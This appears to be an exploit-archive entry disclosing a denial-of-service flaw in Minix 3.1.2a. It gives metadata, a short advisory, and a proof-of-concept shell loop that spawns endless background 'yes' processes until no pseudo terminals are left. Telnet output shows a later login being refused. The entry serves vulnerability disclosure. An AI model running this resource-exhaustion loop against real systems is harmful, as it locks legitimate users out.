Minix 3.1.2a - Psuedo Terminal Denial of Service

Author: kokanin
type: dos
platform: linux
port: 
date_added: 2008-07-23 
date_updated: 2014-03-07 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/30357/info

Minix is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to prevent users from opening new pseudo terminals, denying service to legitimate users.

Minix 3.1.2a is vulnerable; other versions may also be affected.

$ uname -a
Minix 192.168.1.2 3 1.2a i686
$ while true ; do (yes "yes yes minix uh ah"&) ; done
[snip snip]
$ ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C

...disconnected
telnet 192.168.1.2
Trying 192.168.1.2...
Connected to 192.168.1.2.
Escape character is '^]'.
I am sorry, but there is no free PTY left!
Connection closed by foreign host.